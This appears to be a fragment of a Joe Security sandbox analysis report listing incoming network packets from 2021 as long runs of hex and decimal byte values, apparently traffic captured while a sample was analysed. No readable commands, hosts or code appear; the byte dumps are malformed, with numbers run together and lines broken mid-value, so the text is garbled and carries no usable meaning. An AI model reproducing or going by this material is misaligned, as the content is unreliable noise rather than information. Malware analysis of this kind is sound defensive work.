54 84 120 122 108 88 225 48 50 60 74 1 161 109 11256 40 31 1 114 1 160 109 112 56 4531 7 114 116 125 114 96 93 23
050549429 162 109 112 56 54 58 41

Data Raw: 31 38 32 20 34 38 20 35 30 20 34 38 20 31 32 36 20 31 30 35 20 36 39 20 31 31 30 20 31 31 32 20 36 36 20
34 38 20 35 30 20 35 34 20 39 38 20 31 31 34 20 31 31 37 20 31 32 34 20 38 38 20 31 30 20 34 39 20 35 30 20 34 38 20
313231 2031 31 3520 39 35 20 31 39 20 31 31 20 35 30 20 34 38 20 35 34 20 32 37 20 35 32 20 39 30 20 31 37 30 20
3130392031 313220353620 36 37 20 32 31 30 20 35 34 20 38 34 20 31 32 30 20 31 30 39 20 36 34 20 31 31 30 20
323020 3534203236 20 32 31 3520 38 34 20 31 31 34 20 31 32 37 20 32 20 31 34 36 20 35 30 20 34 38 20 35 36 20
3438 20 31 31 36 20 31 30 34 20 38 37 20 31 38 39 20 31 31 30 20 32 36 20 32 30 37 20 35 30 20 35 34 20 38 32 20 32
3920 31 353020 31 30 39 20 31 31 32 20 35 36 20 32 37 20 34 39 20 36 30

Data Ascii: 182 48 50 48 126 105 69 110 112 66 48 50 54 98 114 117 124 88 10 49 50 48 121 115 95 19 11 50 48 54 27
5290170 109 112 56 67 210 54 84 120 109 64 110 20 54 26 215 84 114 127 2 146 50 48 56 48 116 104 87 189 110 26
207 50 54 82 29 150 109 112 56 27 49 60

Data Raw: 38 32 20 35 34 20 38 34 20 31 31 34 20 31 31 34 20 37 37 20 31 36 33 20 31 37 20 32 32 34 20 34 34 20 33
302031 37 312031 313420313137 2031303720 31 31 38 20 39 33 20 32 31 36 20 35 30 20 35 34 20 39 34 20 31
323720 313120 31382031 313220353020 35322031 38 20 32 35 35 20 31 31 39 20 31 36 32 20 31 30 37 20 36
39 20 31 34 33 20 35 30 20 34 38 20 35 32 20 33 30 20 31 38 39 20 31 3134 20 31 31 37 2031 30332031 3231 20 31
38 20 33 32 20 32 31 20 35 34 20 38 34 20 39 30 20 32 34 38 20 31 30 39 20 31 31 32 20 35 32 20 32 32 20 32 35 20 31
30322034 322031 3320313137 2031303920 31313620 333320 3532203236 20323333203834203131
34 20313237 2031303720 31303520 32 36 20 32 31 35 20 35 30 20 35

Data Ascii: 82 54 84 114 114 77 163 17 224 44 30 171 114 117 107 118 93 216 50 54 94 127 11 18 112 50 52 18 255 119
162 107 69 143 50 48 52 30 189 114 117 103 121 18 32 21 54 84 90 248 109 112 52 22 25 102 42 13 117 109 116 33 52
26 233 84 114 127 107 105 26 21550 5

Data Raw: 31 30 39 20 39 39 20 32 20 35 31 20 35 30 20 31 32 20 38 34 20 31 31 34 20 31 31 37 20 38 37 20 31 31 32
20 3530 20 33 33 20 31 38 20 31 34 37 20 31 31 39 20 31 36 32 20 31 30 37 20 36 39 20 31 34 33 20 35 30 20 34 38 20
353220 323220 33312038 312031363520 31 31 3520 38 38 20 32 30 35 20 34 38 20 35 30 20 34 38 20 31 32 34
20 33 3920 31 31 36 20 31 30 39 20 31 31 38 20 34 33 20 32 39 20 35 37 20 31 36 20 38 33 20 39 30 20 30 20 31 30 39
20 31 31 32 20 35 36 20 32 38 20 35 37 20 32 39 20 38 37 20 31 32 31 20 39 34 20 31 35 38 20 31 34 20 31 39 33 20 34
38 20 35 30 20 36 30 20 31 32 36 20 39 36 20 31 31 39 20 31 30 36 20 38 38 20 32 32 34 20 34 38 20 35 30 20 36 30 20
39 32 20 38 38 20 31 31 37 20 31 30 39 20 31 30 37 20 32 20 35 31 20 35 30

Data Ascii: 109 99 2 51 50 12 84 114 117 87 112 50 33 18 147 119 162 107 69 143 50 48 52 22 31 81 165 115 88 205 48
5048 124 39 116 109 118 43 29 57 16 83 90 0 109 112 56 28 57 29 87 121 94 158 14 193 48 50 60 126 96 119 106 88 2
24 48 50 60 92 88 117 109 107 2 51 50

Data Raw: 35 20 31 32 36 20 37 35 20 31 32 30 20 32 36 20 31 35 38 20 35 30 20 35 34 20 39 34 20 39 34 20 31 32 32
20 37 30 20 31 31 35 20 36 32 20 32 37 20 31 39 33 20 36 32 20 37 32 20 39 35 20 31 31 38 20 37 35 20 31 37 34 20 32
3320 35 38 20 32 35 20 32 30 35 20 31 33 38 20 31 30 38 20 38 30 20 36 39 20 36 30 20 35 30 20 34 38 20 35 36 20 35
39 20 39 33 20 38 32 20 31 38 30 20 37 33 20 31 36 30 20 34 34 20 32 34 20 32 30 35 20 35 34 20 38 34 20 31 31 36 20
39 33 20 32 31 37 20 31 31 32 20 35 30 20 35 34 20 32 36 20 38 37 20 38 34 20 31 31 34 20 31 32 37 20 31 37 39 20 31
31 32 20 33 38 20 32 36 20 35 32 20 32 38 20 38 35 20 39 38 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 32 33 20
353020 32 31 20 333020 31 313420 31 30 37 20 34 33 20 31 31 32 20 35

Data Ascii: 5 126 75 120 26 158 50 54 94 94 122 70 115 62 27 193 62 72 95 118 75 174 23 58 25 205 138 108 80 69 60
50 48 56 59 93 82 180 73 160 44 24 205 54 84 116 93 217 112 50 54 26 87 84 114 127 179 112 38 26 52 28 8598 117 10
9112 5023502130114 107 431125

Data Raw: 31 20 31 31 36 20 31 30 39 20 31 31 38 20 35 32 20 32 36 20 35 30 20 35 34 20 38 34 20 31 30 35 20 36 39
20 3130 34 20 31 31 32 20 31 39 30 20 34 38 20 35 30 20 35 34 20 32 30 20 31 31 34 20 31 31 37 20 31 32 34 20 31 34
20 37 33 20 34 38 20 35 30 20 35 30 20 31 32 31 20 31 31 35 20 39 35 20 36 39 20 31 31 33 20 35 31 20 34 38 20 35 36
2035322031 323120 313133203939 203730 20 31 31 33 20 33 37 20 34 36 20 33 31 20 34 34 20 31 31 34 20 31
32 20 32 34 34 20 31 30 39 20 31 31 32 20 35 34 20 34 37 20 34 37 20 33 36 20 38 34 20 31 30 34 20 39 33 20 31 36 37
20 31 31 32 20 35 30 20 35 34 20 34 32 20 32 37 20 39 34 20 38 34 20 31 31 34 20 31 32 33 20 39 34 20 33 20 32 37 20
3532 20 36 30 20 31 32 37 20 31 35 30 20 31 32 36 20 37 30 20 31 33 32 20

Data Ascii: 1 116 109 118 52 26 50 54 84 105 69 104 112 190 48 50 54 20 114 117 124 14 73 48 50 50 121 115 9569 113
5148 56 52 121 11399 70 113 37 46 31 44 114 12 244 109 112 54 47 47 36 84 104 93 167 112 50 54 42 27 94 84 114
12394 3 27 52 60 127 150 126 70 132
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2021-09-27 18:27:44 UTC 1735 IN Data Raw: 20 39 33 20 38 30 20 31 31 33 20 35 30 20 35 34 20 33 30 20 35 31 20 31 32 34 2031 31 20 31 31 37 20 31

30 3920 31 31 38 20 32 34 20 34 38 20 35 30 20 34 35 20 31 30 30 20 31 31 38 20 31 31 37 20 3235 34 20 31 31 32 20
3530 20 34 38 20 31 31 35 20 35 34 20 38 34 20 39 39 20 39 33 20 31 30 36 20 31 31 33 20 35 30 20 35 38 20 33 39 20
32 37 20 31 39 20 38 34 20 38 35 20 39 39 20 38 34 20 32 32 36 20 34 36 20 32 36 20 32 30 31 20 38 34 20 31 31 34 20
313135203131312039 37 203534203234 2031353920 3534 2038342031 323020 31 30 34 20 36 34 20 36
392032 3020333320353420353320313234203134322031313720313039 2031323220 3138203232
3820 32 332032 333020 37 3420 39 30 20 31 33 38 20 31 30 39 20 31 31

Data Ascii: 93 80 113 50 54 30 51 124 11 117 109 118 24 48 50 45 100 118 117 254 112 50 48 115 54 84 99 93 106 113
50 58 39 27 19 84 85 99 84 226 46 26 201 84 114 115 111 97 54 24 159 54 84 120 104 64 69 20 33 54 53 124 142 117 1
09 122 18 228 23 230 74 90 138 109 11

2021-09-27 18:27:44 UTC 1737 IN Data Raw: 32 37 20 37 31 20 38 34 20 31 30 30 20 31 30 35 20 31 31 35 20 39 33 20 35 36 20 35 31 20 35 34 20 39 34
20 3934 20 39 38 20 37 30 20 31 32 32 20 35 37 20 32 37 20 32 32 35 20 35 38 20 31 32 37 20 31 35 30 20 31 30 32 20
313035 20 39 31 20 32 31 36 20 33 33 20 35 34 20 38 39 20 39 33 20 31 31 35 20 31 31 37 20 31 30 33 20 31 30 32 20
32 30 34 20 34 39 20 36 33 20 36 33 20 39 34 20 31 37 32 20 38 37 20 37 32 20 38 38 20 31 32 36 20 34 38 20 35 30 20
36 3020 37 3120 31 31 39 20 31 30 30 20 31 30 34 20 38 30 20 31 35 34 20 32 31 20 32 32 36 20 34 30 20 31 32 34 20
3134 3120313137203130392031313820323620 31333220 353020353420 38322039302032302031
3039 20 31 31 32 20 35 36 20 32 33 38 20 35 30 20 33 32 20 31 32 36 20 31
Data Ascii: 27 71 84 100 105 115 93 56 51 54 94 94 98 70 122 57 27 225 58 127 150 102 105 91 216 33 54 89 93 115 117
103 102 204 49 63 63 94 172 87 72 88 126 48 50 60 71 119 100 104 80 154 21 226 40 124 141 117 109 118 26 132 50 54
829020 109 112 56 238 50 32 126 1

2021-09-27 18:27:44 UTC 1738 IN Data Raw: 20 38 34 20 31 31 38 20 39 38 20 32 20 31 35 37 20 35 30 20 34 38 20 35 36 20 34 34 20 31 32 31 20 39 37
20 38 33 20 31 30 37 20 31 34 20 37 37 20 34 38 20 35 30 20 35 30 20 34 32 20 36 37 20 31 31 37 20 31 30 39 20 31 31
36 20 39 33 20 33 35 20 35 31 20 35 34 20 39 34 20 31 37 32 20 38 32 20 31 30 33 20 39 31 20 32 31 37 20 32 31 20 32
3620 31 32322038 34 20 31 31 34 20 31 32 37 20 31 31 37 20 39 33 20 34 32 20 32 32 20 35 33 20 32 32 20 34 36 20
38 37 20 31 36 35 20 31 31 35 20 38 38 20 32 30 35 20 34 38 20 35 30 20 34 38 20 31 32 34 20 31 39 38 20 31 31 37 20
31303920 313138203236 20 383120353020 3534 2039 34 20 31 37 3220 31 31 38 20 31 30 32 20 39 31 20 32
313220 32 36 20 35 30 20 35 35 20 36 38 20 31 31 34 20 31 31 37 20 31 30
Data Ascii: 84 118 98 2 157 50 48 56 44 121 97 83 107 14 77 48 50 50 42 67 117 109 116 93 35 51 54 94 172 82 103 91
217 21 26 122 84 114 127 117 93 42 22 53 22 46 87 165 115 88 205 48 50 48 124 198 117 109 118 26 81 50 54 94 172
118 102 91 212 26 50 55 68 114 117 10

2021-09-27 18:27:44 UTC 1739 IN Data Raw: 20 31 32 33 20 38 30 20 31 38 39 20 31 31 30 20 32 36 20 32 30 37 20 35 30 20 35 34 20 38 32 20 39 30 20
3139332031 3039 20 31 31 3220 35 32 20 32 34 20 38 33 20 35 34 20 38 34 20 31 32 30 20 31 37 31 20 31 31 30 20
313233 2032 35 20 32 31 34 20 32 34 20 35 35 20 36 38 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20
34 38 20 38 31 20 38 35 20 38 34 20 38 36 20 35 31 20 31 30 39 20 31 31 32 20 35 31 20 34 33 20 32 20 35 30 20 38 34
203233332031313720313039203131322031313620343820353020333920343220313538203131
3720313039 203132322037 3620 33 3120353020 353420 38 3020 31 30 31 20 32 36 20 31 32 38 20 31 31 32
20 35 30 20 35 38 20 33 36 20 32 36 20 36 39 20 38 34 20 31 31 35 20 31 39
Data Ascii: 123 80 189 110 26 207 50 54 82 90 193 109 112 52 24 83 54 84 120 171 110 123 25 214 24 55 68 114 117
109 112 50 48 81 85 84 86 51 109 112 51 43 2 50 84 233 117 109 112 116 48 50 39 42 158 117 109 122 76 31 50 54 80
101 26 128 112 50 58 36 26 69 84 115 19

2021-09-27 18:27:44 UTC 1741 IN Data Raw: 38 34 20 31 31 36 20 39 35 20 37 35 20 39 31 20 32 32 33 20 34 38 20 35 30 20 35 34 20 38 37 20 36 36 20
313237 20 31 30 39 20 31 30 30 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 31 30 20
31 30 32 20 34 30 20 32 39 20 36 32 20 31 36 20 35 39 20 31 30 31 20 31 31 36 20 31 30 39 20 31 32 32 20 32 36 20 31
36 39 20 35 30 20 35 34 20 38 32 20 38 38 20 38 33 20 37 30 20 31 33 30 20 35 37 20 30 20 35 34 20 35 34 20 34 39 20
31 313420313137 203130392031 31 3220 35 30 20 34 38 20 35 30 20 35 32 20 36 36 20 31 30 31 20 38 38 20 31
32 37 20 38 36 20 31 38 20 31 39 35 20 32 30 20 32 33 30 20 37 34 20 39 30 20 31 33 38 20 31 30 39 20 31 31 32 20 35
322032342031 333420353420 38342031313620313731203938
Data Ascii: 84 116 95 75 91 223 48 50 54 87 66 127 109 100 50 48 50 54 84 114 117 110 102 40 29 62 16 59 101 116 109
122 26 169 50 54 82 88 83 70 130 57 0 54 54 49 114 117 109 112 50 48 50 52 66 101 88 127 86 18 195 20 230 74 90 138
109 112 52 24 13454 84 116 171 98

2021-09-27 18:27:44 UTC 1742 IN Data Raw: 34 30 20 32 37 20 39 35 20 38 34 20 31 31 35 20 36 39 20 32 32 32 20 35 30 20 34 38 20 35 36 20 32 37 20
39 3520 38 39 20 31 31 38 20 31 30 33 20 39 31 20 31 39 33 20 37 38 20 37 37 20 35 34 20 38 34 20 31 32 30 20 39 35
20 31 30 37 20 38 38 20 31 35 37 20 34 38 20 35 30 20 36 30 20 31 32 34 20 38 39 20 31 31 36 20 31 30 39 20 31 31 38
20 34 37 20 32 39 20 35 36 20 31 36 20 38 33 20 31 30 30 20 32 33 39 20 32 35 20 32 31 39 20 35 30 20 34 38 20 35 31
20 32 38 20 39 35 20 38 39 20 31 32 39 20 31 31 38 20 36 34 20 35 34 20 34 38 20 31 32 34 20 35 34 20 38 34 20 31 31
34 20 37 35 20 31 30 39 20 31 31 32 20 33 35 20 37 38 20 37 36 20 35 34 20 38 34 20 31 31 38 20 31 31 39 20 37 37 20
32 32 3520 32 3020 32 32 34 20 34 34 20 33 30 20 31 37 31 20 31 31 34 20
Data Ascii: 40 27 95 84 115 69 222 50 48 56 27 95 89 118 103 91 193 78 77 54 84 120 95 107 88 157 48 50 60 124 89
116 109 118 47 29 56 16 83 100 239 25 219 50 48 51 28 95 89 129 118 64 54 48 124 54 84 114 75 109 112 35 78 76 54
84118 119 77 225 20 224 44 30 171 114

2021-09-27 18:27:44 UTC 1743 IN Data Raw: 20 31 30 39 20 31 31 32 20 34 38 20 31 36 20 31 31 33 20 31 36 20 31 33 32 20 31 30 38 20 39 33 20 31 34
36 20 31 31 32 20 35 30 20 35 34 20 37 36 20 37 33 20 38 34 20 31 31 34 20 31 32 37 20 32 20 31 35 32 20 35 30 20 34
38 20 35 36 20 33 33 20 31 32 31 20 39 38 20 38 33 20 31 39 20 35 38 20 35 30 20 34 38 20 35 34 20 34 38 20 35 39 20
313131203131 3620313039 2031323220 33 31 20 33 32 20 32 35 20 35 33 20 39 34 20 38 39 20 31 35 35 20 31
39 20 35 38 20 35 30 20 34 38 20 35 34 20 34 38 20 35 39 20 31 30 38 20 31 31 36 20 31 30 39 20 31 32 32 20 33 36 20
3339 20 33 31 20 35 33 20 31 31 34 20 38 39 20 31 31 38 20 31 30 32 20 39 31 20 35 30 20 35 30 20 31 38 20 31 31 37
2031 3134 20 31 36 32 20 31 30 37 20 36 39 20 31 34 33 20 35 30 20 34 38
Data Ascii: 109 112 48 16 113 16 132 108 93 146 112 50 54 76 73 84 114 127 2 152 50 48 56 33 121 98 83 19 58 50 48
54 48 59 111 116 109 122 31 32 25 53 94 89 155 19 58 50 48 54 48 59 108 116 109 122 36 39 31 53 114 89 118 102 91
5050 18 117 114 162 107 69 143 50 48

2021-09-27 18:27:44 UTC 1748 IN Data Raw: 20 34 38 20 35 34 20 33 30 20 31 31 33 20 31 31 35 20 31 31 37 20 31 30 33 20 38 30 20 31 33 38 20 32 33
20 32 32 36 20 34 30 20 31 32 34 20 31 34 31 20 31 31 37 20 31 30 39 20 31 31 38 20 32 36 20 32 32 20 35 31 20 35 34
20 39 34 20 39 30 20 38 32 20 31 30 38 20 31 31 32 20 35 36 20 32 34 20 31 20 35 35 20 38 34 20 31 31 36 20 39 33 20
39 32 20 31 31 33 20 35 30 20 35 34 20 32 36 20 33 34 20 38 35 20 31 31 34 20 31 31 35 20 37 30 20 38 31 20 31 37 38
20 31 31 36 20 35 30 20 35 34 20 38 30 20 38 39 20 32 33 35 20 31 30 33 20 39 31 20 31 35 30 20 31 37 36 20 31 32 33
20 35 34 20 38 34 20 31 31 38 20 39 34 20 32 32 30 20 31 30 32 20 32 36 20 31 35 32 20 35 30 20 35 34 20 38 32 20 31
322032 33 332031303920 31 31 32 20 35 36 20 31 37 36 20 31 32 33 20
Data Ascii: 48 54 30 113 115 117 103 80 138 23 226 40 124 141 117 109 118 26 22 51 54 94 90 82 108 112 56 24 1 55
84 116 93 92 113 50 54 26 34 85 114 115 70 81 178 116 50 54 80 89 235 103 91 150 176 123 54 84 118 94 220 102 26
152 50 54 82 12 233 109 112 56 176 123
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2021-09-27 18:27:44 UTC 1752

2021-09-27 18:27:44 UTC 1755

2021-09-27 18:27:44 UTC 1760

2021-09-27 18:27:44 UTC 1764

2021-09-27 18:27:44 UTC 1768

2021-09-27 18:27:44 UTC 1772

2021-09-27 18:27:44 UTC 1776

2021-09-27 18:27:44 UTC 1780

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 20 33 30 20 38 35 20 39 38 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 33 36 20 35 30 20 33 30 20 31
30 34 20 31 31 34 20 36 32 20 34 33 20 31 31 32 20 35 30 20 34 39 20 34 39 20 36 20 39 34 20 31 31 34 20 36 38 20 31
30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 33 20 31 30 38 20 31 32 30 20 39 33 20 32 30
2032322031 382032343020 313234203136 3220313037 20 36 39 20 31 34 33 20 35 30 20 34 38 20 35 32 20
35322037 332031303420 383820313136 2038 362039 3320 3138352035 3120 35342038322039 2031
323120313039203131322035342032342031313020353420383420313230203933203231372031
313220 353020 3534 20 32 34 20 31 36 20 31 32 37 20 31 37 30 20 38 33

Data Ascii: 30 8598 117 109 112 50 36 50 30 104 114 62 43 112 50 49 49 6 94 114 68 109 112 50 48 50 54 84 113 108
120 93 20 22 18 240 124 162 107 69 143 50 48 52 52 73 104 88 116 86 93 18551 54 82 9 121 109 112 54 24 110 54 84
12093 217 112 50 54 24 16 127 170 83

Data Raw: 35 32 20 38 34 20 31 31 34 20 31 31 37 20 32 39 20 30 20 35 30 20 36 32 20 35 30 20 35 34 20 38 34 20 31
31342031 31 37 20 31 30 39 20 32 34 34 20 35 30 20 33 35 20 31 36 35 20 35 34 20 38 38 20 3532 20 31 31 37 20 31
30 39 20 31 31 33 20 35 30 20 34 38 20 32 34 37 20 35 34 20 39 32 20 31 39 31 20 31 31 37 20 39 37 20 35 34 20 35 30
2034 38 20 35 31 20 35 34 20 38 34 20 31 34 39 20 31 31 37 20 39 36 20 31 33 32 20 35 30 20 36 32 20 31 31 36 20 35
3420 38 34 2031 31 35 20 31 31 30 20 39 33 20 31 31 36 20 35 30 20 34 35 20 35 31 20 35 34 20 38 34 20 34 33 20 31
313720313039 20 39 37 20 33 36 20 34 34 20 33 31 20 32 36 20 31 31 34 20 38 32 20 31 31 20 36 39 20 31 36 30 20
34 34 20 32 34 20 32 30 35 20 35 34 20 38 34 20 31 31 36 20 39 33 20 32 31

Data Ascii: 52 84 114 117 29 0 50 62 50 54 84 114 117 109 244 50 35 165 54 88 52 117 109 113 50 48 247 54 92 191 117
97 54 50 48 51 54 84 149 117 96 132 50 62 116 54 84 115 110 93 116 50 45 51 54 84 43 117 109 97 36 44 31 26 114 82
11 69 160 44 24 205 54 84 116 93 21

Data Raw: 35 35 20 35 30 20 35 34 20 38 35 20 31 30 36 20 38 38 20 36 39 20 38 36 20 34 38 20 34 30 20 31 36 38 20
37 392032352031 313420313137 2031 3038 20 31 20 31 32 37 20 34 38 20 35 30 20 35 35 20 37 34 20 39 35 20
313131 2037 35 20 31 31 34 20 34 33 20 31 37 30 20 37 30 20 31 35 37 20 38 34 20 31 31 34 20 31 31 36 20 31 30 33
2031323120 353320353620 353220333020 31 333820 31 31342031 31 37 20 31 30 37 20 39 30 20 36 33 20
3237 203235352036 3120313237 20313634 203132312037 302031 34 38 20 35 30 20 34 38 20 33 33 20 36
2038 322031 31342034 3620313039 2031313220 35302038 302035302035 3420 3639203131322039
3920 32 34 37 20 39 20 31 32 32 20 34 38 20 35 30 20 35 35 20 33 37 20 35

Data Ascii: 55 50 54 85 106 88 69 86 48 40 168 79 25 114 117 108 1 127 48 50 55 74 95 111 75 114 43 170 70 157 84
114 116 103 121 53 56 52 30 138 114 117 107 90 63 27 255 61 127 164 121 70 148 50 48 33 6 82 114 46 109 112 50 80
5054 69 11299 247 9 122 48 50 55 37 5

Data Raw: 31 30 30 20 38 30 20 31 30 34 20 33 33 20 36 32 20 36 39 20 31 32 32 20 31 30 3020 31 30 31 20 31 31 31
20 36 32 20 38 34 20 38 33 20 33 37 20 39 32 20 31 32 32 20 31 30 30 20 31 30 30 20 31 30 32 20 39 33 20 31 32 35 20
3531 20 35 34 20 39 34 20 39 39 20 31 32 34 20 31 32 32 20 34 30 20 33 33 20 35 37 20 33 35 20 36 33 20 36 39 20 31
3137 20 37 30 20 31 36 34 20 39 37 20 35 38 20 33 33 20 35 38 20 34 32 20 35 34 20 34 32 20 31 30 32 20 31 30 31 20
3937 20 3538 20 33 33 20 35 38 20 34 31 20 36 36 20 32 32 20 32 30 20 31 32 36 20 31 32 30 20 33 35 20 35 36 20 33
3520 36 32 20 37 35 20 31 30 38 20 32 33 20 35 33 20 39 39 20 35 38 20 33 33 20 35 38 20 36 30 20 38 32 20 38 33 20
38 36 20 37 34 20 32 35 35 20 32 35 35 20 32 31 38 20 34 31 20 32 31 30 20

Data Ascii: 100 80 104 33 62 69 122 100 101 111 62 84 83 37 92 122 100 100 102 93 125 51 54 94 99 124 122 40 33 57
356369 117 70 164 97 58 33 58 42 54 42 102 101 97 58 33 58 41 66 22 20 126 120 35 56 35 62 75 108 23 53 99 58 33
58 60 82 83 86 74 255 255 218 41 210

Data Raw: 36 20 39 34 20 31 31 34 20 31 30 36 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34
203131 3220 31 30 37 20 31 32 30 20 39 33 20 33 38 20 32 32 20 32 36 20 31 31 39 20 38 34 20 31 31 34 20 31 32 37
2031 31 31 20 31 30 37 20 34 36 20 32 39 20 36 32 20 31 36 20 36 36 20 32 34 20 39 33 20 31 34 38 20 31 31 32 20 35
30 20 35 34 20 32 34 20 31 36 20 31 32 37 20 31 35 32 20 38 33 20 37 30 20 31 33 30 20 35 30 20 33 35 20 32 20 34 39
20 38 34 20 37 33 20 31 31 36 20 31 30 39 20 31 31 32 20 38 38 20 34 38 20 35 30 20 33 39 20 31 32 34 20 37 37 20 31
3136 20 31 30 39 20 31 32 32 20 32 32 36 20 31 37 20 35 30 20 35 34 20 38 36 20 39 30 20 3531 20 31 303920 31 31
32 20 35 36 20 39 35 20 31 31 34 20 35 35 20 38 34 20 31 32 30 20 39 31 20

Data Ascii: 6 94 114 106 109 112 50 48 50 54 84 112 107 120 93 38 22 26 119 84 114 127 111 107 46 29 62 16 66 24 93
148 112 50 54 24 16 127 152 83 70 130 50 352 49 84 73 116 109 112 88 48 50 39 124 77 116 109 122 226 17 50 54 86
90 51 109 112 56 95 114 55 84 120 91

Data Raw: 20 37 32 20 31 30 33 20 31 30 36 20 32 30 36 20 35 37 20 35 35 20 38 34 20 32 32 37 20 32 33 33 20 31 30
3720313231 2031332037 35203230 3520323031 203137312038 38 20 31 31 37 20 31 31 38 20 36 34 20 35
32 20 34 38 20 32 34 30 20 35 31 20 38 34 20 31 31 34 20 32 37 20 31 30 39 20 31 31 32 20 33 35 20 37 38 20 31 30 37
20 35 34 20 38 34 20 31 31 38 20 38 30 20 31 31 37 20 39 33 20 35 38 20 32 32 20 32 36 20 31 39 31 20 38 34 20 31 31
34 20 31 32 37 20 37 30 20 31 31 36 20 33 33 20 31 37 20 32 35 20 31 39 35 20 34 32 20 34 33 20 31 31 37 20 31 30 39
20 31 31 36 20 34 38 20 39 35 20 36 32 20 35 35 20 38 34 20 31 31 36 20 31 31 31 20 36 34 20 31 31 38 20 32 30 20 35
34 20 33 30 20 33 37 20 31 32 37 20 31 31 33 20 31 32 37 20 37 30 20 31 33

Data Ascii: 72 103 106 206 57 55 84 227 233 107 121 13 75 205 201 171 88 117 118 64 52 48 240 51 84 114 27 109 112
3578107 54 84 118 80 117 93 58 22 26 191 84 114 127 70 116 33 17 25 195 42 43 117 109 116 48 95 62 55 84 116 111
64 118 20 54 30 37 127 113 127 70 13

Data Raw: 39 38 20 32 35 32 20 31 31 31 20 34 32 20 38 32 20 38 32 20 33 37 20 37 33 20 39 39 20 31 30 34 20 32 32
34 20 38 32 20 35 30 20 34 38 20 35 31 20 33 37 20 37 32 20 39 39 20 31 30 39 20 31 31 39 20 39 37 20 34 36 20 32 34
20 32 30 34 20 35 34 20 38 34 20 31 31 36 20 31 30 30 20 31 32 30 20 39 32 20 35 20 33 33 20 34 31 20 32 32 20 34 36
20 32 3530 20 31 30 39 20 31 30 39 20 36 37 20 32 38 20 33 33 20 34 37 20 31 38 37 20 31 31 39 20 3131 34 20 31 31
37 20 31 30 38 20 39 39 20 34 34 20 33 38 20 33 33 20 34 31 20 31 32 37 20 39 38 20 31 30 30 20 31 31 35 20 39 37 20
34 35 20 33 33 20 34 36 20 33 39 20 37 35 20 32 32 37 20 32 33 32 20 31 32 34 20 31 31 31 20 33 37 20 31 30 34 20 33
3320 34 31 20 36 39 20 31 30 39 20 31 30 30 20 31 31 32 20 36 36 20 32 31

Data Ascii: 98 252 111 42 82 82 37 73 99 104 224 82 50 48 51 37 72 99 109 119 97 46 24 204 54 84 116 100 120 92 5 33
4122 46 250 109 109 67 28 33 47 187 119 114 117 108 99 44 38 33 41 127 98 100 115 97 45 33 46 39 75 227 232 124
111 37 104 33 41 69 109 100 112 66 21

Data Raw: 20 35 32 20 36 32 20 32 31 39 20 38 35 20 31 31 37 20 31 30 39 20 31 31 34 20 37 33 20 38 38 20 35 30 20
353420 38 30 20 31 32 37 20 39 34 20 31 31 39 20 31 31 38 20 35 38 20 31 39 31 20 32 31 20 35 34 20 38 34 20 31 31
3220 31 34 20 35 20 31 31 32 20 35 30 20 35 32 20 33 30 20 35 38 20 39 32 20 31 30 31 20 34 35 20 39 37 20 31 32 30
20 35 33 20 32 20 32 35 34 20 33 32 20 38 38 20 38 39 20 31 38 39 20 31 30 30 20 39 30 20 35 30 20 34 38 20 35 30 20
3337 20 31 30 30 20 31 31 38 20 31 31 37 20 32 34 34 20 31 31 32 20 35 30 20 34 38 20 36 35 20 35 34 20 38 34 20 39
39 20 31 31 39 20 32 32 20 32 31 20 35 30 20 34 38 20 35 34 20 33 35 20 31 32 31 20 31 30 31 20 38 33 20 31 30 37 20
32 3534 20 39 31 20 34 35 20 33 31 20 33 37 20 31 31 34 20 31 31 37 20 39

Data Ascii: 52 62 219 85 117 109 114 73 88 50 54 80 127 94 119 118 58 191 21 54 84 112 14 5 112 50 52 30 58 92 101
4597 120 53 2 254 32 88 89 189 100 90 50 48 50 37 100 118 117 244 112 50 48 65 54 84 99 119 22 21 50 48 54 35 121
101 83107 25491 453137 114 1179
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Direction

IN

Data

Data Raw: 34 36 20 32 36 20 32 30 31 20 38 34 20 31 31 34 20 31 31 35 20 32 30 37 20 31 31 38 20 34 33 20 31 36 20
34 3320 33 31 20 31 33 32 20 31 30 38 20 39 33 20 31 34 36 20 31 31 32 20 35 30 20 35 34 20 31 34 34 20 34 38 20 37
3820 38 32 20 31 30 38 20 36 38 20 31 36 30 20 34 34 20 32 34 20 32 30 35 20 35 34 20 38 34 20 31 31 36 20 32 31 35
2031 303720313037 20313820 3535203237 203233302037 34203930203133382031303920313132
203532203134 36203532203432203131302032332031313620313039 2031313220323020343720
333720313837203235352031313420313137203130382031303320382038312035312035342038
3420 38 34 20 31 31 35 20 31 32 33 20 38 30 20 32 20 32 35 20 32 32 36 20

Data Ascii: 46 26 201 84 114 115 207 118 43 16 43 31 132 108 93 146 112 50 54 144 48 78 82 108 68 160 44 24 205 54
84 116 215 107 107 18 55 27 230 74 90 138 109 112 52 146 52 42 110 23 116 109 112 20 47 37 187 255 114 117 108 103
88151548484 115123 80 2 25 226

Data Raw: 36 20 32 36 20 39 38 20 35 30 20 35 34 20 39 34 20 32 39 20 32 35 31 20 31 30 39 20 31 31 32 20 35 36 20
32333820 34 31 20 35 32 20 34 37 20 32 38 20 31 31 37 20 31 30 39 20 31 31 36 20 34 39 20 35 32 20 32 36 20 31 30
30 20 38 34 20 31 31 34 20 31 32 37 20 32 20 32 35 35 20 35 30 20 34 38 20 35 36 20 32 33 32 20 38 33 20 31 31 36 20
39 332032333120 31313220 353020353820 32333820 3238203539 20323220313136203132352031
313220 353020 35 30 20 35 30 20 33 35 20 38 34 20 33 35 20 31 39 20 31 30 39 20 31 31 39 20 35 30 20 34 38 20 35
3020 3534 20 37 39 20 36 36 20 31 31 38 20 31 30 39 20 36 37 20 35 30 20 34 38 20 35 30 20 32 31 20 38 34 20 31 31
34203130 302031313120 31312039 322034382035 3020353020

Data Ascii: 6 26 98 50 54 94 29 251 109 112 56 238 41 52 47 28 117 109 116 49 52 26 100 84 114 127 2 255 50 48 56
232 83 116 93 231 112 50 58 238 28 59 22 116 125 112 50 50 50 35 84 35 19 109 119 50 48 50 54 79 66 118 109 67 50
48502184 114 100 111 11 92 48 50 50

